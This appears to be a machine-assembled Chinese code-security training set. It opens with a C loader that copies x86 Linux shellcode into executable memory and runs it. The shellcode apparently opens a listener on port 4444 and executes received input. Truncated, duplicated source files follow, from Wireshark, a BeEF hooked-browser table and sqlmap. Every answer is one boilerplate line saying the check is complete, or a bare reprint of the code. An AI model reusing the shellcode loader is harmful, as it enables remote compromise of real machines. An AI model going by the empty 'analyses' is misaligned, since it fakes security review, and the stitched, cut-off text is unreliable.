char shellcode[] = "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7";

int main(int argc, char **argv) {
   char *ptr = mmap(0, sizeof(shellcode), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
   if (ptr == MAP_FAILED) {perror("mmap");exit(-1);}
   memcpy(ptr, shellcode, sizeof(shellcode));
   sc = (int(*)())ptr;
   (void)((void(*)())ptr)();
   printf("\n");
   return 0;
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-maap.c
 * Routines for 802.3 MAC Address Allocation Protocol defined by IEEE1722
 * Copyright 2012, Jason Damori, Biamp Systems <jdamori at biamp dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/to_str.h>

void proto_register_maap(void);
void proto_reg_handoff_maap(void);

static dissector_handle_t maap_handle;

/* MAAP starts after common 1722 header */
#define MAAP_START_OFFSET                   1

/* MAAP Field Offsets */
#define MAAP_MSG_TYPE_OFFSET                0+MAAP_START_OFFSET
#define MAAP_VERSION_OFFSET                 1+MAAP_START_OFFSET
#define MAAP_STREAM_ID_OFFSET               3+MAAP_START_OFFSET
#define MAAP_REQ_START_ADDR_OFFSET          11+MAAP_START_OFFSET
#define MAAP_REQ_COUNT_OFFSET               17+MAAP_START_OFFSET
#define MAAP_CONFLICT_START_ADDR_OFFSET     19+MAAP_START_OFFSET
#define MAAP_CONFLICT_COUNT_OFFSET          25+MAAP_START_OFFSET

/* Bit Field Masks */
#define MAAP_MSG_TYPE_MASK                  0x0f
#define MAAP_VERSION_MASK                   0xf8
#define MAAP_DATA_LEN_MASK                  0x07ff

/* MAAP message_type */
#define MAAP_MSG_TYPE_RESERVED_0            0x00
#define MAAP_MSG_TYPE_PROBE                 0x01
#define MAAP_MSG_TYPE_DEFEND                0x02
#define MAAP_MSG_TYPE_ANNOUNCE              0x03
#define MAAP_MSG_TYPE_RESERVED_4            0x04
#define MAAP_MSG_TYPE_RESERVED_5            0x05

static const value_string maap_msg_type_vals [] = {
    {MAAP_MSG_TYPE_PROBE,       "MAAP_PROBE"},
    {MAAP_MSG_TYPE_DEFEND,      "MAAP_DEFEND"},
    {MAAP_MSG_TYPE_ANNOUNCE,    "MAAP_ANNOUNCE"},
    {0,                         NULL}
};

/**********************************************************/
/* Initialize the protocol and registered fields          */
/**********************************************************/
s...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-maap.c
 * Routines for 802.3 MAC Address Allocation Protocol defined by IEEE1722
 * Copyright 2012, Jason Damori, Biamp Systems <jdamori at biamp dot com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/to_str.h>

void proto_register_maap(void);
void proto_reg_handoff_maap(void);

static dissector_handle_t maap_handle;

/* MAAP starts after common 1722 header */
#define MAAP_START_OFFSET                   1

/* MAAP Field Offsets */
#define MAAP_MSG_TYPE_OFFSET                0+MAAP_START_OFFSET
#define MAAP_VERSION_OFFSET                 1+MAAP_START_OFFSET
#define MAAP_STREAM_ID_OFFSET               3+MAAP_START_OFFSET
#define MAAP_REQ_START_ADDR_OFFSET          11+MAAP_START_OFFSET
#define MAAP_REQ_COUNT_OFFSET               17+MAAP_START_OFFSET
#define MAAP_CONFLICT_START_ADDR_OFFSET     19+MAAP_START_OFFSET
#define MAAP_CONFLICT_COUNT_OFFSET          25+MAAP_START_OFFSET

/* Bit Field Masks */
#define MAAP_MSG_TYPE_MASK                  0x0f
#define MAAP_VERSION_MASK                   0xf8
#define MAAP_DATA_LEN_MASK                  0x07ff

/* MAAP message_type */
#define MAAP_MSG_TYPE_RESERVED_0            0x00
#define MAAP_MSG_TYPE_PROBE                 0x01
#define MAAP_MSG_TYPE_DEFEND                0x02
#define MAAP_MSG_TYPE_ANNOUNCE              0x03
#define MAAP_MSG_TYPE_RESERVED_4            0x04
#define MAAP_MSG_TYPE_RESERVED_5            0x05

static const value_string maap_msg_type_vals [] = {
    {MAAP_MSG_TYPE_PROBE,       "MAAP_PROBE"},
    {MAAP_MSG_TYPE_DEFEND,      "MAAP_DEFEND"},
    {MAAP_MSG_TYPE_ANNOUNCE,    "MAAP_ANNOUNCE"},
    {0,                         NULL}
};

/**********************************************************/
/* Initialize the protocol and registered fields          */
/**********************************************************/
s...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * manuf_dialog.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#include "manuf_dialog.h"
#include <ui_manuf_dialog.h>

#include <cstdio>
#include <cstdint>
#include <QComboBox>
#include <QStandardItemModel>
#include <QPushButton>
#include <QRegularExpression>
#include <QClipboard>
#include <QAction>
#include <QButtonGroup>
#include <QCheckBox>

#include "main_application.h"
#include <epan/manuf.h>
#include <epan/strutil.h>
#include <wsutil/regex.h>
#include <utils/qt_ui_utils.h>

#define PLACEHOLDER_SEARCH_ADDR "Search address"
#define PLACEHOLDER_SEARCH_NAME "Search name"

ManufDialog::ManufDialog(QWidget &parent, CaptureFile &cf) :
    WiresharkDialog(parent, cf),
    ui(new Ui::ManufDialog)
{
    ui->setupUi(this);
    loadGeometry();

    model_ = new ManufTableModel(this);
    proxy_model_ = new ManufSortFilterProxyModel(this);
    proxy_model_->setSourceModel(model_);

    ui->manufTableView->setModel(proxy_model_);
    ui->manufTableView->setContextMenuPolicy(Qt::ActionsContextMenu);
    ui->manufTableView->setColumnHidden(ManufTableModel::COL_SHORT_NAME, true);

    QAction *select_action = new QAction(tr("Select all"));
    connect(select_action, &QAction::triggered, ui->manufTableView, &QTableView::selectAll);
    ui->manufTableView->addAction(select_action);

    QAction *copy_action = new QAction(tr("Copy"));
    connect(copy_action, &QAction::triggered, this, &ManufDialog::copyToClipboard);
    ui->manufTableView->addAction(copy_action);

    QPushButton *find_button = ui->buttonBox->addButton(tr("Find"), QDialogButtonBox::ActionRole);
    find_button->setDefault(true);
    connect(find_button, &QPushButton::clicked, this, &ManufDialog::on_editingFinished);

    QPushButton *clear_button = ui->buttonBox->addButton(tr("Clear"), QDialogButtonBox::ActionRole);
    connect(clear_button, &QPushButton::clicked, thi...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * manuf_dialog.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#include "manuf_dialog.h"
#include <ui_manuf_dialog.h>

#include <cstdio>
#include <cstdint>
#include <QComboBox>
#include <QStandardItemModel>
#include <QPushButton>
#include <QRegularExpression>
#include <QClipboard>
#include <QAction>
#include <QButtonGroup>
#include <QCheckBox>

#include "main_application.h"
#include <epan/manuf.h>
#include <epan/strutil.h>
#include <wsutil/regex.h>
#include <utils/qt_ui_utils.h>

#define PLACEHOLDER_SEARCH_ADDR "Search address"
#define PLACEHOLDER_SEARCH_NAME "Search name"

ManufDialog::ManufDialog(QWidget &parent, CaptureFile &cf) :
    WiresharkDialog(parent, cf),
    ui(new Ui::ManufDialog)
{
    ui->setupUi(this);
    loadGeometry();

    model_ = new ManufTableModel(this);
    proxy_model_ = new ManufSortFilterProxyModel(this);
    proxy_model_->setSourceModel(model_);

    ui->manufTableView->setModel(proxy_model_);
    ui->manufTableView->setContextMenuPolicy(Qt::ActionsContextMenu);
    ui->manufTableView->setColumnHidden(ManufTableModel::COL_SHORT_NAME, true);

    QAction *select_action = new QAction(tr("Select all"));
    connect(select_action, &QAction::triggered, ui->manufTableView, &QTableView::selectAll);
    ui->manufTableView->addAction(select_action);

    QAction *copy_action = new QAction(tr("Copy"));
    connect(copy_action, &QAction::triggered, this, &ManufDialog::copyToClipboard);
    ui->manufTableView->addAction(copy_action);

    QPushButton *find_button = ui->buttonBox->addButton(tr("Find"), QDialogButtonBox::ActionRole);
    find_button->setDefault(true);
    connect(find_button, &QPushButton::clicked, this, &ManufDialog::on_editingFinished);

    QPushButton *clear_button = ui->buttonBox->addButton(tr("Clear"), QDialogButtonBox::ActionRole);
    connect(clear_button, &QPushButton::clicked, thi...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-e2ap.c
 * Routines for E2APApplication Protocol (e2ap) packet dissection
 * Copyright 2021, Martin Mathieson
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: ORAN-WG3.E2AP-v02.01, ORAN-WG3.E2SM-KPM-v02.02, ORAN-WG3.E2SM-RC.01.02
 */

#include "config.h"
#include <stdio.h>

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/prefs.h>
#include <epan/sctpppids.h>
#include <epan/expert.h>
#include <epan/proto_data.h>
#include <epan/conversation.h>
#include <epan/exceptions.h>
#include <epan/show_exception.h>
#include <epan/to_str.h>

#include "packet-e2ap.h"
#include "packet-per.h"
#define PNAME  "E2 Application Protocol"
#define PSNAME "E2AP"
#define PFNAME "e2ap"

/* Dissector will use SCTP PPID 70, 71 or 72 or SCTP port 37464. */
#define SCTP_PORT_E2AP 37464

void proto_register_e2ap(void);
void proto_reg_handoff_e2ap(void);

static dissector_handle_t e2ap_handle;

#include "packet-e2ap-val.h"

/* Initialize the protocol and registered fields */
static int proto_e2ap = -1;
#include "packet-e2ap-hf.c"

static int hf_e2ap_unmapped_ran_function_id = -1;
static int hf_e2ap_ran_function_name_not_recognised = -1;
static int hf_e2ap_ran_function_setup_frame = -1;

/* Initialize the subtree pointers */
static gint ett_e2ap = -1;

static expert_field ei_e2ap_ran_function_names_no_match = EI_INIT;
static expert_field ei_e2ap_ran_function_id_not_mapped = EI_INIT;

#include "packet-e2ap-ett.c"

/* Forward declarations */
static int dissect_E2SM_KPM_EventTriggerDefinition_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_);
static int dissect_E2SM_KPM_ActionDefinition_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_);
static int dissect_E2SM_KPM_IndicationHeader_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, voi...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-e2ap.c
 * Routines for E2APApplication Protocol (e2ap) packet dissection
 * Copyright 2021, Martin Mathieson
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: ORAN-WG3.E2AP-v02.01, ORAN-WG3.E2SM-KPM-v02.02, ORAN-WG3.E2SM-RC.01.02
 */

#include "config.h"
#include <stdio.h>

#include <epan/packet.h>
#include <epan/strutil.h>
#include <epan/asn1.h>
#include <epan/prefs.h>
#include <epan/sctpppids.h>
#include <epan/expert.h>
#include <epan/proto_data.h>
#include <epan/conversation.h>
#include <epan/exceptions.h>
#include <epan/show_exception.h>
#include <epan/to_str.h>

#include "packet-e2ap.h"
#include "packet-per.h"
#define PNAME  "E2 Application Protocol"
#define PSNAME "E2AP"
#define PFNAME "e2ap"

/* Dissector will use SCTP PPID 70, 71 or 72 or SCTP port 37464. */
#define SCTP_PORT_E2AP 37464

void proto_register_e2ap(void);
void proto_reg_handoff_e2ap(void);

static dissector_handle_t e2ap_handle;

#include "packet-e2ap-val.h"

/* Initialize the protocol and registered fields */
static int proto_e2ap = -1;
#include "packet-e2ap-hf.c"

static int hf_e2ap_unmapped_ran_function_id = -1;
static int hf_e2ap_ran_function_name_not_recognised = -1;
static int hf_e2ap_ran_function_setup_frame = -1;

/* Initialize the subtree pointers */
static gint ett_e2ap = -1;

static expert_field ei_e2ap_ran_function_names_no_match = EI_INIT;
static expert_field ei_e2ap_ran_function_id_not_mapped = EI_INIT;

#include "packet-e2ap-ett.c"

/* Forward declarations */
static int dissect_E2SM_KPM_EventTriggerDefinition_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_);
static int dissect_E2SM_KPM_ActionDefinition_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, void *data _U_);
static int dissect_E2SM_KPM_IndicationHeader_PDU(tvbuff_t *tvb _U_, packet_info *pinfo _U_, proto_tree *tree _U_, voi...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

class CreateHttp < ActiveRecord::Migration[6.0]
  def change
    create_table :https do |t|
      t.text :hooked_browser_id
      # The http request to perform. In clear text.
      t.text :request
      # Boolean value as string to say whether cross-domain requests are allowed
      t.boolean :allow_cross_domain, default: true
      # The http response body received. In clear text.
      t.text :response_data
      # The http response code. Useful to handle cases like 404, 500, 302, ...
      t.integer :response_status_code
      # The http response code. Human-readable code: success, error, ecc..
      t.text :response_status_text
      # The port status. closed, open or not http
      t.text :response_port_status
      # The XHR Http response raw headers
      t.text :response_headers
      # The http response method. GET or POST.
      t.text :method
      # The content length for the request.
      t.text :content_length, default: 0
      # The request protocol/scheme (http/https)
      t.text :proto
      # The domain on which perform the request.
      t.text :domain
      # The port on which perform the request.
      t.text :port
      # Boolean value to say if the request was cross-domain
      t.text :has_ran, default: 'waiting'
      # The path of the request.
      # Example: /secret.html
      t.text :path
      # The date at which the http response has been saved.
      t.datetime :response_date
      # The date at which the http request has been saved.
      t.datetime :request_date
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
class CreateHttp < ActiveRecord::Migration[6.0]
  def change
    create_table :https do |t|
      t.text :hooked_browser_id
      # The http request to perform. In clear text.
      t.text :request
      # Boolean value as string to say whether cross-domain requests are allowed
      t.boolean :allow_cross_domain, default: true
      # The http response body received. In clear text.
      t.text :response_data
      # The http response code. Useful to handle cases like 404, 500, 302, ...
      t.integer :response_status_code
      # The http response code. Human-readable code: success, error, ecc..
      t.text :response_status_text
      # The port status. closed, open or not http
      t.text :response_port_status
      # The XHR Http response raw headers
      t.text :response_headers
      # The http response method. GET or POST.
      t.text :method
      # The content length for the request.
      t.text :content_length, default: 0
      # The request protocol/scheme (http/https)
      t.text :proto
      # The domain on which perform the request.
      t.text :domain
      # The port on which perform the request.
      t.text :port
      # Boolean value to say if the request was cross-domain
      t.text :has_ran, default: 'waiting'
      # The path of the request.
      # Example: /secret.html
      t.text :path
      # The date at which the http response has been saved.
      t.datetime :response_date
      # The date at which the http request has been saved.
      t.datetime :request_date
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""HTML form handling for web clients.

ClientForm is a Python module for handling HTML forms on the client
side, useful for parsing HTML forms, filling them in and returning the
completed forms to the server.  It has developed from a port of Gisle
Aas' Perl module HTML::Form, from the libwww-perl library, but the
interface is not the same.

The most useful docstring is the one for HTMLForm.

RFC 1866: HTML 2.0
RFC 1867: Form-based File Upload in HTML
RFC 2388: Returning Values from Forms: multipart/form-data
HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX)
HTML 4.01 Specification, W3C Recommendation 24 December 1999

Copyright 2002-2007 John J. Lee <jjl@pobox.com>
Copyright 2005 Gary Poster
Copyright 2005 Zope Corporation
Copyright 1998-2000 Gisle Aas.

This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).

"""

# XXX
# Remove parser testing hack
# safeUrl()-ize action
# Switch to unicode throughout (would be 0.3.x)
#  See Wichert Akkerman's 2004-01-22 message to c.l.py.
# Add charset parameter to Content-type headers?  How to find value??
# Add some more functional tests
#  Especially single and multiple file upload on the internet.
#  Does file upload work when name is missing?  Sourceforge tracker form
#   doesn't like it.  Check standards, and test with Apache.  Test
#   binary upload with Apache.
# mailto submission & enctype text/plain
# I'm not going to fix this unless somebody tells me what real servers
#  that want this encoding actually expect: If enctype is
#  application/x-www-form-urlencoded and there's a FILE control present.
#  Strictly, it should be 'name=data' (see HTML 4.01 spec., section
#  17.13.2), but I send "name=" ATM.  What about multiple file upload??

# Would be nice, but I'm not going to do it myself:
# -------------------------------------------------
# Maybe a 0.4.x?
#   Replace by_label etc....


Instruction: 检查这段代码是否存在安全问题

Input:
"""HTML form handling for web clients.

ClientForm is a Python module for handling HTML forms on the client
side, useful for parsing HTML forms, filling them in and returning the
completed forms to the server.  It has developed from a port of Gisle
Aas' Perl module HTML::Form, from the libwww-perl library, but the
interface is not the same.

The most useful docstring is the one for HTMLForm.

RFC 1866: HTML 2.0
RFC 1867: Form-based File Upload in HTML
RFC 2388: Returning Values from Forms: multipart/form-data
HTML 3.2 Specification, W3C Recommendation 14 January 1997 (for ISINDEX)
HTML 4.01 Specification, W3C Recommendation 24 December 1999

Copyright 2002-2007 John J. Lee <jjl@pobox.com>
Copyright 2005 Gary Poster
Copyright 2005 Zope Corporation
Copyright 1998-2000 Gisle Aas.

This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file
COPYING.txt included with the distribution).

"""

# XXX
# Remove parser testing hack
# safeUrl()-ize action
# Switch to unicode throughout (would be 0.3.x)
#  See Wichert Akkerman's 2004-01-22 message to c.l.py.
# Add charset parameter to Content-type headers?  How to find value??
# Add some more functional tests
#  Especially single and multiple file upload on the internet.
#  Does file upload work when name is missing?  Sourceforge tracker form
#   doesn't like it.  Check standards, and test with Apache.  Test
#   binary upload with Apache.
# mailto submission & enctype text/plain
# I'm not going to fix this unless somebody tells me what real servers
#  that want this encoding actually expect: If enctype is
#  application/x-www-form-urlencoded and there's a FILE control present.
#  Strictly, it should be 'name=data' (see HTML 4.01 spec., section
#  17.13.2), but I send "name=" ATM.  What about multiple file upload??

# Would be nice, but I'm not going to do it myself:
# -------------------------------------------------
# Maybe a 0.4.x?
#   Replace by_label etc....

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.enumeration import Enumeration as GenericEnumeration

class Enumeration(GenericEnumeration):
    def getCurrentUser(self):
        warnMsg = "on SQLite it is not possible to enumerate the current user"
        logger.warning(warnMsg)

    def getCurrentDb(self):
        warnMsg = "on SQLite it is not possible to get name of the current database"
        logger.warning(warnMsg)

    def isDba(self, user=None):
        warnMsg = "on SQLite the current user has all privileges"
        logger.warning(warnMsg)

        return True

    def getUsers(self):
        warnMsg = "on SQLite it is not possible to enumerate the users"
        logger.warning(warnMsg)

        return []

    def getPasswordHashes(self):
        warnMsg = "on SQLite it is not possible to enumerate the user password hashes"
        logger.warning(warnMsg)

        return {}

    def getPrivileges(self, *args, **kwargs):
        warnMsg = "on SQLite it is not possible to enumerate the user privileges"
        logger.warning(warnMsg)

        return {}

    def getDbs(self):
        warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')"
        logger.warning(warnMsg)

        return []

    def searchDb(self):
        warnMsg = "on SQLite it is not possible to search databases"
        logger.warning(warnMsg)

        return []

    def searchColumn(self):
        errMsg = "on SQLite it is not possible to search columns"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def getHostname(self):
        warnMsg = "on SQLite it is not possible to enumerate the hostname"
        logger.warning(warnMsg)

    def getStatements(self):
        warnMsg = "on SQLite it is not possible to enumerate the SQL statement...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.data import logger
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.enumeration import Enumeration as GenericEnumeration

class Enumeration(GenericEnumeration):
    def getCurrentUser(self):
        warnMsg = "on SQLite it is not possible to enumerate the current user"
        logger.warning(warnMsg)

    def getCurrentDb(self):
        warnMsg = "on SQLite it is not possible to get name of the current database"
        logger.warning(warnMsg)

    def isDba(self, user=None):
        warnMsg = "on SQLite the current user has all privileges"
        logger.warning(warnMsg)

        return True

    def getUsers(self):
        warnMsg = "on SQLite it is not possible to enumerate the users"
        logger.warning(warnMsg)

        return []

    def getPasswordHashes(self):
        warnMsg = "on SQLite it is not possible to enumerate the user password hashes"
        logger.warning(warnMsg)

        return {}

    def getPrivileges(self, *args, **kwargs):
        warnMsg = "on SQLite it is not possible to enumerate the user privileges"
        logger.warning(warnMsg)

        return {}

    def getDbs(self):
        warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')"
        logger.warning(warnMsg)

        return []

    def searchDb(self):
        warnMsg = "on SQLite it is not possible to search databases"
        logger.warning(warnMsg)

        return []

    def searchColumn(self):
        errMsg = "on SQLite it is not possible to search columns"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def getHostname(self):
        warnMsg = "on SQLite it is not possible to enumerate the hostname"
        logger.warning(warnMsg)

    def getStatements(self):
        warnMsg = "on SQLite it is not possible to enumerate the SQL statement...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-do-irp.c
 * Dissector for Digital Object Identifier Resolution Protocol (DO-IRP)
 *
 * Copyright (c) 2023 by Martin Mayer <martin.mayer@m2-it-solutions.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * This dissector is based on:
 *
 * - Title:      Digital Object Identifier Resolution Protocol Specification
 *   Version:    3.0 (June 30, 2022)
 *   Author:     DONA Foundation (https://www.dona.net)
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-tcp.h"

/* N.B. IANA has these ports registered for hdl-srv (name from original RFC) */
#define DO_IRP_UDP_PORT 2641
#define DO_IRP_TCP_PORT 2641

#define DO_IRP_ENVELOPE_LEN  20
#define DO_IRP_MAX_UDP_SIZE 512

void proto_register_do_irp(void);
void proto_reg_handoff_do_irp(void);

static dissector_handle_t do_irp_handle_udp;
static dissector_handle_t do_irp_handle_tcp;

static int proto_do_irp = -1;
expert_module_t* expert_do_irp;

/* Fields Generic */
static int hf_do_irp_string_len = -1;
static int hf_do_irp_string_value = -1;
static int hf_do_irp_data_len = -1;
static int hf_do_irp_data_value = -1;

/* Fields Message Envelope */
static int hf_do_irp_envelope = -1;
static int hf_do_irp_version_major = -1;
static int hf_do_irp_version_minor = -1;
static int hf_do_irp_flags = -1;
static int hf_do_irp_flag_cp = -1;
static int hf_do_irp_flag_ec = -1;
static int hf_do_irp_flag_tc = -1;
static int hf_do_irp_version_major_sugg = -1;
static int hf_do_irp_version_minor_sugg = -1;
static int hf_do_irp_sessid = -1;
static int hf_do_irp_reqid = -1;
static int hf_do_irp_seq = -1;
static int hf_do_irp_msglen = -1;

/* Fields Message Header */
static int hf_do_irp_header = -1;
static int hf_do_irp_opcode = -1;
static int hf_do_irp_responsecode = -1;
static int hf_do_irp_opflags = -1;
static int hf_do_irp_opflags_at = -1;
static int hf_do_irp_opflags_ct = ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-do-irp.c
 * Dissector for Digital Object Identifier Resolution Protocol (DO-IRP)
 *
 * Copyright (c) 2023 by Martin Mayer <martin.mayer@m2-it-solutions.de>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * This dissector is based on:
 *
 * - Title:      Digital Object Identifier Resolution Protocol Specification
 *   Version:    3.0 (June 30, 2022)
 *   Author:     DONA Foundation (https://www.dona.net)
 */

#include "config.h"
#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-tcp.h"

/* N.B. IANA has these ports registered for hdl-srv (name from original RFC) */
#define DO_IRP_UDP_PORT 2641
#define DO_IRP_TCP_PORT 2641

#define DO_IRP_ENVELOPE_LEN  20
#define DO_IRP_MAX_UDP_SIZE 512

void proto_register_do_irp(void);
void proto_reg_handoff_do_irp(void);

static dissector_handle_t do_irp_handle_udp;
static dissector_handle_t do_irp_handle_tcp;

static int proto_do_irp = -1;
expert_module_t* expert_do_irp;

/* Fields Generic */
static int hf_do_irp_string_len = -1;
static int hf_do_irp_string_value = -1;
static int hf_do_irp_data_len = -1;
static int hf_do_irp_data_value = -1;

/* Fields Message Envelope */
static int hf_do_irp_envelope = -1;
static int hf_do_irp_version_major = -1;
static int hf_do_irp_version_minor = -1;
static int hf_do_irp_flags = -1;
static int hf_do_irp_flag_cp = -1;
static int hf_do_irp_flag_ec = -1;
static int hf_do_irp_flag_tc = -1;
static int hf_do_irp_version_major_sugg = -1;
static int hf_do_irp_version_minor_sugg = -1;
static int hf_do_irp_sessid = -1;
static int hf_do_irp_reqid = -1;
static int hf_do_irp_seq = -1;
static int hf_do_irp_msglen = -1;

/* Fields Message Header */
static int hf_do_irp_header = -1;
static int hf_do_irp_opcode = -1;
static int hf_do_irp_responsecode = -1;
static int hf_do_irp_opflags = -1;
static int hf_do_irp_opflags_at = -1;
static int hf_do_irp_opflags_ct = ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* path_chooser_delegate.cpp
 * Delegate to select a file path for a treeview entry
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/models/path_selection_delegate.h>
#include <ui/qt/widgets/path_selection_edit.h>

PathSelectionDelegate::PathSelectionDelegate(QObject *parent)
    : QStyledItemDelegate(parent)
{
}

QWidget* PathSelectionDelegate::createEditor(QWidget *parent, const QStyleOptionViewItem &, const QModelIndex &) const
{
    PathSelectionEdit * editor = new PathSelectionEdit(tr("Open a pipe"), QString(), true, parent);

    connect(editor, &PathSelectionEdit::pathChanged, this, &PathSelectionDelegate::pathHasChanged);

    return editor;
}

void PathSelectionDelegate::pathHasChanged(QString)
{
    PathSelectionEdit * editor = qobject_cast<PathSelectionEdit *>(sender());
    if (editor)
        emit commitData(editor);
}

void PathSelectionDelegate::updateEditorGeometry(QWidget *editor, const QStyleOptionViewItem &option, const QModelIndex &) const
{
    editor->setGeometry(option.rect);
}

void PathSelectionDelegate::setEditorData(QWidget *editor, const QModelIndex &idx) const
{
    if (idx.isValid() && qobject_cast<PathSelectionEdit *>(editor) != nullptr)
    {
        PathSelectionEdit * edit = qobject_cast<PathSelectionEdit *>(editor);
        edit->setPath(idx.data().toString());
    }
    else
        QStyledItemDelegate::setEditorData(editor, idx);
}

void PathSelectionDelegate::setModelData(QWidget *editor, QAbstractItemModel * model, const QModelIndex &idx) const
{
    if (idx.isValid() && qobject_cast<PathSelectionEdit *>(editor) != nullptr)
    {
        PathSelectionEdit * edit = qobject_cast<PathSelectionEdit *>(editor);
        model->setData(idx, edit->path());
    }
    else
    {
        QStyledItemDelegate::setModelData(editor, model, idx);
    }
}


Instruction: 检查这段代码是否存在安全问题

Input:
/* path_chooser_delegate.cpp
 * Delegate to select a file path for a treeview entry
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <ui/qt/models/path_selection_delegate.h>
#include <ui/qt/widgets/path_selection_edit.h>

PathSelectionDelegate::PathSelectionDelegate(QObject *parent)
    : QStyledItemDelegate(parent)
{
}

QWidget* PathSelectionDelegate::createEditor(QWidget *parent, const QStyleOptionViewItem &, const QModelIndex &) const
{
    PathSelectionEdit * editor = new PathSelectionEdit(tr("Open a pipe"), QString(), true, parent);

    connect(editor, &PathSelectionEdit::pathChanged, this, &PathSelectionDelegate::pathHasChanged);

    return editor;
}

void PathSelectionDelegate::pathHasChanged(QString)
{
    PathSelectionEdit * editor = qobject_cast<PathSelectionEdit *>(sender());
    if (editor)
